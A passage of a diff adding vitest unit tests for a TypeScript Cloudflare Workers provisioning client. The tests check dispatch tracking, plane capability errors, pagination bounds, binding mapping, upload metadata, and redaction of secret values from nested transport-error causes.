100 }, + ]); + const second = withProviderDispatchTracking(client, () => + client.withMutationFence( + { mutationLeaseTtlMs: 15 * 60_000, assertOwned: vi.fn(async () => {}) }, + () => client.dispatchOrdinaryWorkerDeployment('plain', prepared), + ), + ); + readResponse.resolve(single({ id: 'v1', resources: { bindings: [] } })); + const secondFailure = await second.catch((error: unknown) => error); + secondSettled.resolve(); + const firstFailure = await first.catch((error: unknown) => error); + + expect(secondFailure).not.toBeInstanceOf( + CloudflareProviderRequestNotDispatchedError, + ); + expect(fact(secondFailure, 'status')).toBe(500); + expect(firstFailure).toBeInstanceOf( + CloudflareProviderRequestNotDispatchedError, + ); + expect(fact(firstFailure, 'cause')).toBe(sentinel); + }); + + it.each([ + [ + 'local failure', + (_client: CloudflareProvisioningClient) => async () => + Promise.reject(new Error('local preparation failed')), + true, + 0, + 'local preparation failed', + ], + [ + 'read failure', + (client: CloudflareProvisioningClient) => () => + client.findOrdinaryWorkerVersion('plain', 'missing'), + true, + 3, + undefined, + ], + [ + 'mutation failure', + (client: CloudflareProvisioningClient) => { + const prepared = client.prepareOrdinaryWorkerDeployment([ + { versionId: 'v1', percentage: 100 }, + ]); + return () => + fenced(client, () => + client.dispatchOrdinaryWorkerDeployment('plain', prepared), + ); + }, + false, + 1, + undefined, + ], + [ + 'transport fence failure', + (client: CloudflareProvisioningClient) => { + const prepared = client.prepareOrdinaryWorkerDeployment([ + { versionId: 'v1', percentage: 100 }, + ]); + return () => + client.withMutationFence( + { + mutationLeaseTtlMs: 15 * 60_000, + assertOwned: async () => { + throw new Error('transport fence lost'); + }, + }, + () => client.dispatchOrdinaryWorkerDeployment('plain', prepared), + ); + }, + true, + 0, + 'transport fence lost', + ], + ] as const)('tracks provider dispatch for %s', async (_kind, buildOperation, expectsWrapper, expectedRequestCount, expectedCauseFragment) => { + const fixture = recordingFetch(() => apiFailure(500)); + const client = plainClient({ fetch: fixture.fetch }); + const failure = await withProviderDispatchTracking( + client, + buildOperation(client), + ).catch((error: unknown) => error); + + expect(failure instanceof CloudflareProviderRequestNotDispatchedError).toBe( + expectsWrapper, + ); + expect(fact(failure, 'status')).toBe(expectsWrapper ? undefined : 500); + expect(fixture.requests).toHaveLength(expectedRequestCount); + if (expectedCauseFragment !== undefined) { + expect(errorChain(fact(failure, 'cause'))).toContain( + expectedCauseFragment, + ); + } + }); + + it('runs a queued request under its enqueuer context', async () => { + const testContext = new AsyncLocalStorage(); + const stores: Array = []; + const world = providerWorld(); + const bindings = [ + { type: 'plain_text', name: 'DEPLOYMENT_TENANT', text: 'acme' }, + { + type: 'plain_text', + name: 'FLEET_ENVIRONMENT', + text: 'production', + }, + { type: 'plain_text', name: 'FLEET_SCHEMA_VERSION', text: '1' }, + ]; + world.scripts.set('plain', { + versions: [ + { + versionId: 'v1', + tag: undefined, + bindings, + }, + ], + deployment: [{ versionId: 'v1', percentage: 100 }], + subdomain: { enabled: false, previewsEnabled: false }, + }); + const project = restProjection(world); + const versionResponse = deferred(); + const subdomainResponse = deferred(); + const fanStarted = deferred(); + let blocked = 0; + const hold = (response: ReturnType>) => { + blocked += 1; + if (blocked === 2) fanStarted.resolve(); + return response.promise; + }; + const fixture = recordingFetch((request) => { + const { url } = request; + const target = new URL(url); + stores.push([target.pathname, testContext.getStore()]); + if (target.pathname.endsWith('/versions/v1')) { + return hold(versionResponse); + } + if (target.pathname.endsWith('/subdomain')) { + return hold(subdomainResponse); + } + if (target.pathname.endsWith('/versions/v2')) { + return single({ id: 'v2', resources: { bindings: [] } }); + } + const authority = zoneAuthorityResponse(target, []); + if (authority) return authority; + if (target.pathname.endsWith('/workers/scripts')) { + return pageArray([{ id: 'plain' }]); + } + if (target.pathname.endsWith('/secrets')) return pageArray([]); + if ( + target.pathname.endsWith('/workers/domains') || + target.pathname.endsWith('/workers/durable_objects/namespaces') + ) { + return pageArray([]); + } + return project(request); + }); + const client = plainClient({ concurrency: 2, fetch: fixture.fetch }); + const first = testContext.run('A', () => + // collectFleetInventory is A because its version/subdomain fan-out uses + // raw SDK calls from one operation slot, so its held requests fill both + // request slots and B queues there; a future #schedule around the fan-out + // would silently make this test vacuous. + client.collectFleetInventory({ + databaseNamePrefix: 'fleet-', + scriptNamePrefix: 'plain', + includeDispatchNamespace: false, + }), + ); + await fanStarted.promise; + const second = testContext.run('B', () => + client.findOrdinaryWorkerVersion('plain', 'v2'), + ); + // Let the SDK enqueue B while A still occupies both request slots. + await new Promise((resolve) => setImmediate(resolve)); + versionResponse.resolve(single({ id: 'v1', resources: { bindings } })); + subdomainResponse.resolve( + single({ enabled: false, previews_enabled: false }), + ); + + await expect(second).resolves.toMatchObject({ versionId: 'v2' }); + await expect(first).resolves.toMatchObject({ + deployments: [{ artifactVersion: 'v1' }], + }); + expect(stores.find(([path]) => path.endsWith('/versions/v2'))?.[1]).toBe( + 'B', + ); + }); + + it('pins the four existing constructor validation messages', () => { + expect(() => + Reflect.construct(CloudflareProvisioningClient, [ + { accountId: '', apiToken: '', dispatchNamespace: '' }, + ]), + ).toThrow('accountId, apiToken, and dispatchNamespace are required'); + expect(() => + Reflect.construct(CloudflareProvisioningClient, [ + { accountId: 'a', apiToken: 't', dispatchNamespace: 'd' }, + ]), + ).toThrow('rateCoordinator is required'); + expect( + () => + new CloudflareProvisioningClient({ + accountId: 'a', + apiToken: 't', + dispatchNamespace: 'd', + rateCoordinator: testRateCoordinator(), + concurrency: 0, + }), + ).toThrow('concurrency must be a positive integer'); + expect( + () => + new CloudflareProvisioningClient({ + accountId: 'a', + apiToken: 't', + dispatchNamespace: 'd', + rateCoordinator: testRateCoordinator(), + requestTimeoutMs: 0, + }), + ).toThrow('requestTimeoutMs must be a positive integer'); + }); + + it('accepts exactly the valid WFP and plain option shapes', () => { + expect( + new CloudflareProvisioningClient({ + accountId: 'a', + apiToken: 't', + dispatchNamespace: 'd', + rateCoordinator: testRateCoordinator(), + }), + ).toBeInstanceOf(CloudflareProvisioningClient); + expect(plainClient().requestTimeoutMs).toBe(60_000); + expect(() => + Reflect.construct(CloudflareProvisioningClient, [ + { + accountId: 'a', + apiToken: 't', + plane: 'ordinary', + rateCoordinator: testRateCoordinator(), + }, + ]), + ).toThrow('unsupported Cloudflare client plane'); + expect(() => + Reflect.construct(CloudflareProvisioningClient, [ + { + accountId: '', + apiToken: 't', + plane: 'plain-worker', + rateCoordinator: testRateCoordinator(), + }, + ]), + ).toThrow('accountId and apiToken are required'); + for (const dispatchNamespace of [undefined, '', 'named']) { + expect(() => + Reflect.construct(CloudflareProvisioningClient, [ + { + accountId: 'a', + apiToken: 't', + plane: 'plain-worker', + dispatchNamespace, + rateCoordinator: testRateCoordinator(), + }, + ]), + ).toThrow('plain-worker plane cannot name a dispatch namespace'); + } + }); + + it('rejects every unconditional WFP member before issuing a request', async () => { + const fetch = vi.fn(); + const client = plainClient({ fetch }); + const cases: readonly [string, () => unknown][] = [ + ['platformPlaneScope', () => client.platformPlaneScope()], + [ + 'assertUntrustedDispatchNamespace', + () => client.assertUntrustedDispatchNamespace(), + ], + ['ensureDispatchNamespace', () => client.ensureDispatchNamespace()], + [ + 'uploadDispatchWorker', + () => + client.uploadDispatchWorker( + { + tenantTag: 't', + environment: 'e', + scriptName: 's', + databaseName: 'd', + compatibilityDate: '2026-08-26', + mainModule: 'worker.js', + modules: [], + authoredBy: 'platform', + schemaVersion: 1, + migrations: [], + durableObjectMigrations: [], + durableObjectBindings: [], + maintenanceBaseUrl: 'https://example.test', + routeHostname: 'example.test', + }, + { id: 'db', name: 'db', created: false }, + ), + ], + [ + 'uploadNamespacedStateWorker', + () => + client.uploadNamespacedStateWorker({ + spec: { + tenantTag: 't', + environment: 'e', + scriptName: 's', + databaseName: 'd', + compatibilityDate: '2026-08-26', + mainModule: 'worker.js', + modules: [], + authoredBy: 'platform', + schemaVersion: 1, + migrations: [], + durableObjectMigrations: [], + durableObjectBindings: [], + maintenanceBaseUrl: 'https://example.test', + routeHostname: 'example.test', + }, + database: { id: 'db', name: 'db', created: false }, + artifact: { + mainModule: 'worker.js', + modules: [], + compatibilityDate: '2026-08-26', + }, + artifactDigest: 'digest', + maintenanceCapabilityPublicKey: 'key', + sharedOutboundWorkerName: 'outbound', + stateEgressCredentialDigest: 'digest', + }), + ], + [ + 'putDispatchSecrets', + () => + client.putDispatchSecrets('s', { + deploymentIdentity: 'identity', + maintenanceAdmin: 'maintenance', + }), + ], + ['inspectDispatchWorker', () => client.inspectDispatchWorker('s')], + ['revokeDispatchSecrets', () => client.revokeDispatchSecrets('s')], + ['deleteDispatchWorker', () => client.deleteDispatchWorker('s')], + ]; + for (const [operation, invoke] of cases) { + let failure: unknown; + try { + await invoke(); + } catch (error) { + failure = error; + } + expect(failure).toBeInstanceOf(CloudflarePlaneCapabilityError); + expect(fact(failure, 'operation')).toBe(operation); + expect(fact(failure, 'requiredPlane')).toBe('workers-for-platforms'); + } + expect(fetch).not.toHaveBeenCalled(); + }); + + it('uses collectFleetInventory without dispatch and guards dispatch after KV reads', async () => { + const fixture = recordingFetch(({ url }) => { + const target = new URL(url); + if (target.pathname.includes('/storage/kv/namespaces/kv/keys')) { + return pageArray([]); + } + if (target.pathname.endsWith('/workers/domains')) { + return pageArray([]); + } + if (target.pathname.endsWith('/workers/scripts')) return pageArray([]); + if (target.pathname.endsWith('/d1/database')) return pageArray([]); + if (target.pathname.endsWith('/workers/durable_objects/namespaces')) { + return pageArray([]); + } + const authority = zoneAuthorityResponse(target, []); + if (authority) return authority; + throw new Error(`unexpected request ${target.pathname}`); + }); + const client = plainClient({ fetch: fixture.fetch }); + await expect( + client.collectFleetInventory({ + databaseNamePrefix: 'fleet-', + scriptNamePrefix: 'fleet-', + includeDispatchNamespace: false, + }), + ).resolves.toMatchObject({ deployments: [], databaseIds: [] }); + await expect( + client.collectFleetInventory({ + hostRoutingKvId: 'kv', + databaseNamePrefix: 'fleet-', + scriptNamePrefix: 'fleet-', + includeDispatchNamespace: true, + }), + ).rejects.toMatchObject({ + name: 'CloudflarePlaneCapabilityError', + operation: 'collectFleetInventory', + }); + expect( + fixture.requests.filter((request) => request.url.includes('/kv/')).length, + ).toBe(1); + expect( + fixture.requests.some((request) => request.url.includes('/dispatch/')), + ).toBe(false); + }); + + it('does not convert a plain-only dispatch capability failure into a stale registration', async () => { + const key = '__anchorage_script__:fleet-registered'; + const fixture = recordingFetch(({ url }) => { + const target = new URL(url); + const pathname = decodeURIComponent(target.pathname); + if (pathname.endsWith('/storage/kv/namespaces/kv/keys')) { + return pageArray([{ name: key }]); + } + if (pathname.includes('/storage/kv/namespaces/kv/values/')) { + return new Response( + JSON.stringify({ + scriptName: 'fleet-registered', + tenantTag: 'acme', + environment: 'production', + databaseId: 'db', + routeHostname: 'app.example.test', + }), + ); + } + if ( + pathname.endsWith('/workers/domains') || + pathname.endsWith('/workers/scripts') || + pathname.endsWith('/d1/database') || + pathname.endsWith('/workers/durable_objects/namespaces') + ) { + return pageArray([]); + } + const authority = zoneAuthorityResponse(target, []); + if (authority) return authority; + throw new Error(`unexpected request ${pathname}`); + }); + + await expect( + plainClient({ fetch: fixture.fetch }).collectFleetInventory({ + hostRoutingKvId: 'kv', + databaseNamePrefix: 'fleet-', + scriptNamePrefix: 'fleet-', + includeDispatchNamespace: false, + }), + ).rejects.toMatchObject({ + name: 'CloudflarePlaneCapabilityError', + operation: 'inspectDispatchWorker', + }); + expect( + fixture.requests.some(({ url }) => url.includes('/workers/dispatch/')), + ).toBe(false); + }); + + it.each([ + [ + 'database', + (client: CloudflareProvisioningClient) => + client.listWorkerDatabaseAttachments('db'), + ], + [ + 'r2', + (client: CloudflareProvisioningClient) => + client.listWorkerR2Attachments('bucket'), + ], + ] as const)('treats a plain-only first-page namespace 404 as no namespaces for the %s scanner', async (_name, scan) => { + const fixture = recordingFetch(({ url }) => { + const target = new URL(url); + if (target.pathname.endsWith('/workers/scripts')) return pageArray([]); + if (target.pathname.endsWith('/workers/dispatch/namespaces')) { + return apiFailure(404); + } + throw new Error(`unexpected request ${target.pathname}`); + }); + const client = plainClient({ fetch: fixture.fetch }); + + await expect(scan(client)).resolves.toEqual([]); + expect( + fixture.requests.some((request) => + request.url.endsWith('/workers/dispatch/namespaces'), + ), + ).toBe(true); + }); + + it('keeps ordinary attachments when a plain-only namespace scan is exhaustively empty', async () => { + const fixture = recordingFetch(({ url }) => { + const target = new URL(url); + if (target.pathname.endsWith('/workers/scripts')) { + return pageArray([{ id: 'ordinary' }]); + } + if (target.pathname.endsWith('/deployments')) { + return single({ + deployments: [ + { + versions: [{ version_id: 'v1', percentage: 100 }], + }, + ], + }); + } + if (target.pathname.endsWith('/versions/v1')) { + return single({ + id: 'v1', + resources: { + bindings: [ + { type: 'd1', name: 'DB', database_id: 'db' }, + { type: 'r2_bucket', name: 'BUCKET', bucket_name: 'bucket' }, + ], + }, + }); + } + if (target.pathname.endsWith('/workers/dispatch/namespaces')) { + return pageArray([]); + } + throw new Error(`unexpected request ${target.pathname}`); + }); + const client = plainClient({ fetch: fixture.fetch }); + + await expect(client.listWorkerDatabaseAttachments('db')).resolves.toEqual([ + { scriptName: 'ordinary', plane: 'ordinary' }, + ]); + await expect(client.listWorkerR2Attachments('bucket')).resolves.toEqual([ + { scriptName: 'ordinary', plane: 'ordinary' }, + ]); + }); + + it.each([ + 403, 404, + ] as const)('propagates namespace status %s under Workers for Platforms for both scanners', async (status) => { + const fixture = recordingFetch(({ url }) => { + const target = new URL(url); + if (target.pathname.endsWith('/workers/scripts')) return pageArray([]); + if (target.pathname.endsWith('/workers/dispatch/namespaces')) { + return apiFailure(status); + } + throw new Error(`unexpected request ${target.pathname}`); + }); + const client = new CloudflareProvisioningClient({ + accountId: 'account', + apiToken: 'token', + dispatchNamespace: 'fleet', + rateCoordinator: testRateCoordinator(), + fetch: fixture.fetch, + }); + + await expect( + client.listWorkerDatabaseAttachments('db'), + ).rejects.toMatchObject({ status }); + await expect( + client.listWorkerR2Attachments('bucket'), + ).rejects.toMatchObject({ status }); + }); + + it('propagates a plain-only namespace 404 after the first yielded page item', async () => { + vi.spyOn(BaseNamespaces.prototype, 'list').mockReturnValue( + (async function* () { + yield { namespace_name: 'first' }; + throw Object.assign(new Error('later namespace page missing'), { + status: 404, + }); + })() as never, + ); + const fixture = recordingFetch(({ url }) => { + const target = new URL(url); + if (target.pathname.endsWith('/workers/scripts')) return pageArray([]); + if (target.pathname.endsWith('/namespaces/first/scripts')) { + return pageArray([]); + } + throw new Error(`unexpected request ${target.pathname}`); + }); + + await expect( + plainClient({ fetch: fixture.fetch }).listWorkerDatabaseAttachments('db'), + ).rejects.toMatchObject({ status: 404 }); + }); + + it.each([ + [ + 'database', + (client: CloudflareProvisioningClient) => + client.listWorkerDatabaseAttachments('db'), + ], + [ + 'r2', + (client: CloudflareProvisioningClient) => + client.listWorkerR2Attachments('bucket'), + ], + ] as const)('propagates a forbidden plain-only namespace scan for the %s scanner', async (_name, scan) => { + const fixture = recordingFetch(({ url }) => + new URL(url).pathname.endsWith('/workers/scripts') + ? pageArray([]) + : apiFailure(403), + ); + const client = plainClient({ fetch: fixture.fetch }); + await expect(scan(client)).rejects.toMatchObject({ status: 403 }); + }); + + it('forces SDK logging off even when the environment requests debug logs', async () => { + const previous = process.env.CLOUDFLARE_LOG; + process.env.CLOUDFLARE_LOG = 'debug'; + const debug = vi.spyOn(console, 'debug').mockImplementation(() => {}); + try { + const fixture = recordingFetch(() => pageItems([])); + await plainClient({ fetch: fixture.fetch }).listOrdinaryWorkerVersions( + 'plain', + ); + expect(debug).not.toHaveBeenCalled(); + } finally { + if (previous === undefined) delete process.env.CLOUDFLARE_LOG; + else process.env.CLOUDFLARE_LOG = previous; + } + }); + + it('reads undefined-tolerant database and deployment facts', async () => { + const fixture = recordingFetch(({ url }) => { + const target = new URL(url); + if (target.pathname.endsWith('/d1/database')) { + if (target.searchParams.has('page')) return pageArray([]); + return pageArray([{ uuid: 'db', name: 'name' }, { uuid: 4 }]); + } + if (target.pathname.endsWith('/deployments')) { + return single({ + deployments: [ + { + versions: [ + { version_id: 'newest', percentage: '25' }, + { id: 'older' }, + ], + }, + ], + }); + } + throw new Error(`unexpected request ${target.pathname}`); + }); + const client = plainClient({ fetch: fixture.fetch }); + await expect(client.listOrdinaryWorkerDatabases()).resolves.toEqual([ + { databaseId: 'db', name: 'name' }, + { databaseId: undefined, name: undefined }, + ]); + await expect( + client.ordinaryWorkerDeploymentStatus('plain'), + ).resolves.toEqual({ + versions: [ + { versionId: 'newest', percentage: 25 }, + { versionId: 'older', percentage: undefined }, + ], + }); + }); + + it('models the provider-side D1 name filter', async () => { + const world = providerWorld(); + world.databases.push( + { databaseId: 'target-id', name: 'target' }, + { databaseId: 'other-id', name: 'other' }, + ); + const fixture = recordingFetch(restProjection(world)); + + await expect( + plainClient({ fetch: fixture.fetch }).findDatabase('target'), + ).resolves.toEqual({ id: 'target-id', name: 'target', created: false }); + expect( + new URL(fixture.requests[0]?.url ?? '').searchParams.get('name'), + ).toBe('target'); + }); + + it('returns undefined only for provider 404 deployment and version reads', async () => { + const fixture = recordingFetch(() => apiFailure(404)); + const client = plainClient({ fetch: fixture.fetch }); + await expect( + client.ordinaryWorkerDeploymentStatus('missing'), + ).resolves.toBeUndefined(); + await expect( + client.listOrdinaryWorkerVersions('missing'), + ).resolves.toBeUndefined(); + await expect( + client.findOrdinaryWorkerVersion('missing', 'v1'), + ).resolves.toBeUndefined(); + await expect( + client.viewOrdinaryWorkerVersion('missing', 'v1'), + ).rejects.toThrow(); + }); + + it.each([ + 403, 500, + ])('propagates provider %s from every deployment and version read', async (status) => { + const fixture = recordingFetch(() => apiFailure(status)); + const client = plainClient({ fetch: fixture.fetch }); + const operations = [ + () => client.ordinaryWorkerDeploymentStatus('plain'), + () => client.listOrdinaryWorkerVersions('plain'), + () => client.findOrdinaryWorkerVersion('plain', 'v1'), + () => client.viewOrdinaryWorkerVersion('plain', 'v1'), + ]; + for (const operation of operations) { + await expect(operation()).rejects.toMatchObject({ status }); + } + }, 15_000); + + it('paginates versions through a terminal empty page and reserves quota per request', async () => { + const events: string[] = []; + const fixture = recordingFetch(({ url }) => { + const page = Number(new URL(url).searchParams.get('page') ?? '1'); + return page <= 2 + ? pageItems( + Array.from({ length: 100 }, (_, index) => ({ + id: `${page}-${index}`, + ...(index === 0 + ? { annotations: { 'workers/tag': `tag-${page}` } } + : {}), + })), + ) + : pageItems([]); + }, events); + const client = plainClient({ + fetch: fixture.fetch, + rateCoordinator: testRateCoordinator(undefined, events), + }); + const versions = await client.listOrdinaryWorkerVersions('plain'); + expect(versions).toHaveLength(200); + expect(versions?.[0]).toEqual({ versionId: '1-0', tag: 'tag-1' }); + expect(versions?.[1]).toEqual({ versionId: '1-1', tag: undefined }); + expect(fixture.requests).toHaveLength(3); + expect(events.filter((event) => event === 'quota:acquire')).toHaveLength(3); + }); + + it('propagates a version-list 404 after the first page yielded', async () => { + let requests = 0; + const fixture = recordingFetch(() => { + requests += 1; + return requests === 1 + ? pageItems([{ id: 'v1' }], { + page: 1, + per_page: 1, + count: 1, + total_count: 2, + total_pages: 2, + }) + : apiFailure(404); + }); + + await expect( + plainClient({ fetch: fixture.fetch }).listOrdinaryWorkerVersions('plain'), + ).rejects.toMatchObject({ status: 404 }); + }); + + it('rejects version and inherited secret inventories above their item bounds', async () => { + const versionFixture = recordingFetch(() => + pageItems(Array.from({ length: 5_001 }, (_, id) => ({ id: String(id) }))), + ); + await expect( + plainClient({ + fetch: versionFixture.fetch, + }).listOrdinaryWorkerVersions('plain'), + ).rejects.toThrow( + 'ordinary Worker version inventory exceeded the supported inventory bound of 5000 items', + ); + const secretFixture = recordingFetch(() => + pageArray( + Array.from({ length: 10_001 }, (_, id) => ({ name: `secret-${id}` })), + ), + ); + await expect( + plainClient({ + fetch: secretFixture.fetch, + }).listOrdinaryWorkerSecretNames('plain'), + ).rejects.toThrow( + 'ordinary Worker secret inventory exceeded the supported inventory bound of 10000 items', + ); + }); + + it('maps every supported binding and all unsupported provider facts', async () => { + const bindings: readonly unknown[] = [ + { type: 'd1', name: 'D1_ID', id: 'id-wins', database_id: 'ignored' }, + { type: 'd1', name: 'D1_DATABASE', database_id: 'database-id' }, + { + type: 'durable_object_namespace', + name: 'DO', + class_name: 'State', + namespace_id: 'namespace', + }, + { type: 'service', name: 'SERVICE', service: 'upstream' }, + { type: 'queue', name: 'QUEUE', queue_name: 'jobs' }, + { type: 'r2_bucket', name: 'R2', bucket_name: 'objects' }, + { type: 'plain_text', name: 'TEXT', text: 'value' }, + { type: 'secret_text', name: 'SECRET' }, + null, + { type: ' ', name: 'INVALID' }, + { type: 'ai', name: 'UNSUPPORTED' }, + ]; + const fixture = recordingFetch(() => + single({ + id: 'v1', + annotations: { 'workers/tag': 'tag' }, + resources: { bindings }, + }), + ); + const viewed = await plainClient({ + fetch: fixture.fetch, + }).viewOrdinaryWorkerVersion('plain', 'v1'); + expect(viewed.versionId).toBe('v1'); + expect(viewed.tag).toBe('tag'); + expect(viewed.bindings).toEqual([ + { type: 'd1', name: 'D1_ID', databaseId: 'id-wins' }, + { type: 'd1', name: 'D1_DATABASE', databaseId: 'database-id' }, + { + type: 'durable-object', + name: 'DO', + className: 'State', + namespaceId: 'namespace', + }, + { type: 'service', name: 'SERVICE', service: 'upstream' }, + { type: 'queue-producer', name: 'QUEUE', queueName: 'jobs' }, + { type: 'r2-bucket', name: 'R2', bucketName: 'objects' }, + { type: 'plain-text', name: 'TEXT', value: 'value' }, + { type: 'secret-text', name: 'SECRET' }, + { type: 'unsupported', name: undefined, issue: 'not-object' }, + { + type: 'unsupported', + name: 'INVALID', + providerType: ' ', + issue: 'invalid-type', + }, + { + type: 'unsupported', + name: 'UNSUPPORTED', + providerType: 'ai', + issue: 'unsupported-type', + }, + ]); + }); + + it('uploads initial and staged versions with one JSON metadata part in provider order', async () => { + const fixture = recordingFetch(({ method, url }) => { + const target = new URL(url); + if (target.pathname.endsWith('/subdomain') && method === 'GET') { + return single({ enabled: true, previews_enabled: true }); + } + if (target.pathname.endsWith('/subdomain')) + return single({ enabled: false }); + if (target.pathname.endsWith('/versions')) { + return single({ id: 'v2', resources: {} }); + } + if (target.pathname.endsWith('/workers/scripts/plain')) { + return single({ id: 'plain' }); + } + throw new Error(`unexpected request ${method} ${target.pathname}`); + }); + const client = plainClient({ fetch: fixture.fetch }); + const initial = await client.prepareOrdinaryWorkerUpload( + uploadIntent('initial'), + ); + await fenced(client, () => client.dispatchOrdinaryWorkerUpload(initial)); + const staged = await client.prepareOrdinaryWorkerUpload( + uploadIntent('staged'), + ); + await fenced(client, () => client.dispatchOrdinaryWorkerUpload(staged)); + expect( + fixture.requests.map(({ method, url }) => [ + method, + new URL(url).pathname, + ]), + ).toEqual([ + ['PUT', '/client/v4/accounts/account/workers/scripts/plain'], + ['POST', '/client/v4/accounts/account/workers/scripts/plain/subdomain'], + ['GET', '/client/v4/accounts/account/workers/scripts/plain/subdomain'], + ['POST', '/client/v4/accounts/account/workers/scripts/plain/subdomain'], + ['POST', '/client/v4/accounts/account/workers/scripts/plain/versions'], + ]); + const initialBody = fixture.requests[0]?.body; + const stagedBody = fixture.requests[4]?.body; + const bindings = [ + { name: 'TEXT', type: 'plain_text', text: 'value' }, + { name: 'SECRET', type: 'secret_text', text: 'super-secret' }, + { name: 'DB', type: 'd1', database_id: 'db-id' }, + { + name: 'STATE', + type: 'durable_object_namespace', + class_name: 'State', + }, + { name: 'SERVICE', type: 'service', service: 'upstream' }, + { name: 'QUEUE', type: 'queue', queue_name: 'jobs' }, + { name: 'BUCKET', type: 'r2_bucket', bucket_name: 'objects' }, + ]; + const metadata = { + main_module: 'worker.js', + bindings, + compatibility_date: '2026-08-26', + compatibility_flags: ['nodejs_compat'], + limits: { cpu_ms: 42 }, + annotations: { 'workers/tag': 'candidate-tag' }, + }; + expect(fact(initialBody, 'metadata')).toEqual({ + ...metadata, + migrations: { + new_tag: 'v1', + steps: [{ new_sqlite_classes: ['State'] }], + }, + }); + expect(fact(stagedBody, 'metadata')).toEqual(metadata); + for (const body of [initialBody, stagedBody]) { + const decoded = fact(body, 'metadata'); + for (const absent of [ + 'keep_bindings', + 'tags', + 'force', + 'bindings_inherit', + ]) { + expect(hasFact(decoded, absent)).toBe(false); + } + } + expect(fact(stagedBody, 'files')).toEqual([ + { + name: 'worker.js', + type: 'application/javascript+module', + text: 'export default {}', + }, + { name: 'data.txt', type: 'text/plain', text: 'data' }, + ]); + }); + + it.each([ + ['initial', 500], + ['initial', 'throw'], + ['staged', 500], + ['staged', 'throw'], + ] as const)('does not retry a %s ordinary Worker upload after %s and sanitizes the failure', async (mode, failureKind) => { + const fixture = recordingFetch(({ method, url }) => { + const target = new URL(url); + if ( + mode === 'staged' && + method === 'GET' && + target.pathname.endsWith('/subdomain') + ) { + return single({ enabled: false, previews_enabled: false }); + } + if (failureKind === 'throw') throw new Error('transport failed'); + return apiFailure(500); + }); + const client = plainClient({ fetch: fixture.fetch }); + const prepared = await client.prepareOrdinaryWorkerUpload( + uploadIntent(mode), + ); + const failure = await fenced(client, () => + client.dispatchOrdinaryWorkerUpload(prepared), + ).catch((error: unknown) => error); + + expect(failure).toMatchObject({ + name: 'CloudflareProviderError', + message: 'Cloudflare Worker upload failed', + }); + if (failureKind === 500) expect(fact(failure, 'status')).toBe(500); + else + expect(fact(fact(failure, 'cause'), 'name')).toBe('APIConnectionError'); + const uploadPath = + mode === 'initial' ? '/workers/scripts/plain' : '/versions'; + expect( + fixture.requests.filter( + ({ method, url }) => + method !== 'GET' && new URL(url).pathname.endsWith(uploadPath), + ), + ).toHaveLength(1); + }); + + it('redacts secret values from upload API errors', async () => { + const fixture = recordingFetch(() => + apiFailure(400, 'binding echoed super-secret'), + ); + const client = plainClient({ fetch: fixture.fetch }); + const prepared = await client.prepareOrdinaryWorkerUpload( + uploadIntent('initial'), + ); + let failure: unknown; + try { + await fenced(client, () => client.dispatchOrdinaryWorkerUpload(prepared)); + } catch (error) { + failure = error; + } + expect(ownSerialization(failure)).not.toContain('super-secret'); + expect(ownSerialization(failure)).toContain('[redacted]'); + expect(fact(failure, 'status')).toBe(400); + }); + + it('terminates a cyclic sanitized transport-error cause chain', async () => { + const first = new Error('first transport failure'); + const second = new Error('second transport failure'); + const third = new Error('third transport failure'); + let nameReads = 0; + Object.defineProperty(third, 'name', { + get: () => { + nameReads += 1; + return 'TransportError'; + }, + }); + Object.defineProperty(first, 'cause', { value: second }); + Object.defineProperty(second, 'cause', { value: third }); + Object.defineProperty(third, 'cause', { value: third }); + + const failure = await failedInitialUpload(first); + const chain = boundedErrorCauses(failure); + + expect(chain.errors.map(({ message }) => message)).toEqual([ + expect.any(String), + 'first transport failure', + 'second transport failure', + 'third transport failure', + ]); + expect(nameReads).toBe(1); + expect(chain.terminal).not.toBeInstanceOf(Error); + expect(Object.getOwnPropertyNames(chain.terminal)).toEqual(['name']); + expect(fact(chain.terminal, 'name')).toBe('TransportError'); + }); + + it('redacts every nested transport-error cause message', async () => { + const failure = await failedInitialUpload( + new Error('outer super-secret', { + cause: new Error('inner super-secret'), + }), + ); + const chain = boundedErrorCauses(failure); + const messages = chain.errors.map(({ message }) => message); + + expect(messages).toContain('outer [redacted]'); + expect(messages).toContain('inner [redacted]'); + expect(messages.every((message) => !message.includes('super-secret'))).toBe( + true, + ); + }); + + it('sanitizes a non-string nested transport-error message', async () => { + const transportFailure = new Error('unused'); + Object.defineProperty(transportFailure, 'message', { value: 42 }); + + const failure = await failedInitialUpload(transportFailure); + const chain = boundedErrorCauses(failure); + + expect(chain.errors).toHaveLength(2); + expect(chain.errors[1]?.message).toBe(''); + expect(chain.terminal).toBeUndefined(); + }); + + it('sanitizes a nested transport error whose message accessor throws', async () => { + const transportFailure = new Error('unused'); + Object.defineProperty(transportFailure, 'message', { + get: () => { + throw new Error('super-secret'); + }, + }); + + const failure = await failedInitialUpload( + nestedTransportFailure(transportFailure), + ); + const chain = boundedErrorCauses(failure); + + expect(chain.errors).toHaveLength(4); + expect(chain.errors[3]?.message).toBe(''); + expect(chain.terminal).toBeUndefined(); + expect(ownSerialization(failure)).not.toContain('super-secret'); + }); + + it('terminates at a nested transport error whose cause accessor throws', async () => { + const transportFailure = new Error('nested transport failure'); + Object.defineProperty(transportFailure, 'cause', { + get: () => { + throw new Error('cause access failed'); + }, + }); + + const failure = await failedInitialUpload( + nestedTransportFailure(transportFailure), + ); + const chain = boundedErrorCauses(failure); + + expect(chain.errors.map(({ message }) => message)).toEqual([ + 'Connection error.', + 'outer transport failure', + 'middle transport failure', + 'nested transport failure', + ]); + expect(chain.terminal).toBeUndefined(); + }); + + it('reads a nested transport-error message accessor once', async () => { + let reads = 0; + const transportFailure = new Error('unused'); + Object.defineProperty(transportFailure, 'message', { + get: () => { + reads += 1; + if (reads > 1) throw new Error('message read twice'); + return 'nested super-secret'; + }, + }); + + const failure = await failedInitialUpload( + nestedTransportFailure(transportFailure), + ); + const chain = boundedErrorCauses(failure); + + expect(reads).toBe(1); + expect(chain.errors[3]?.message).toBe('nested [redacted]'); + }); + + it('uses an unknown name when nested name or constructor accessors throw', async () => { + const transportFailure = new Error('nested transport failure'); + Object.defineProperties(transportFailure, { + constructor: { + get: () => { + throw new Error('constructor access failed'); + }, + }, + name: { + get: () => { + throw new Error('name access failed'); + }, + }, + }); + + const failure = await failedInitialUpload( + nestedTransportFailure(transportFailure), + ); + const chain = boundedErrorCauses(failure); + + expect(chain.errors[3]?.name).toBe('unknown'); + }); + + it.each([ + [ + 'throwing prototype', + () => + new Proxy( + {}, + { + getPrototypeOf: () => { + throw new Error('super-secret'); + }, + }, + ), + ], + [ + 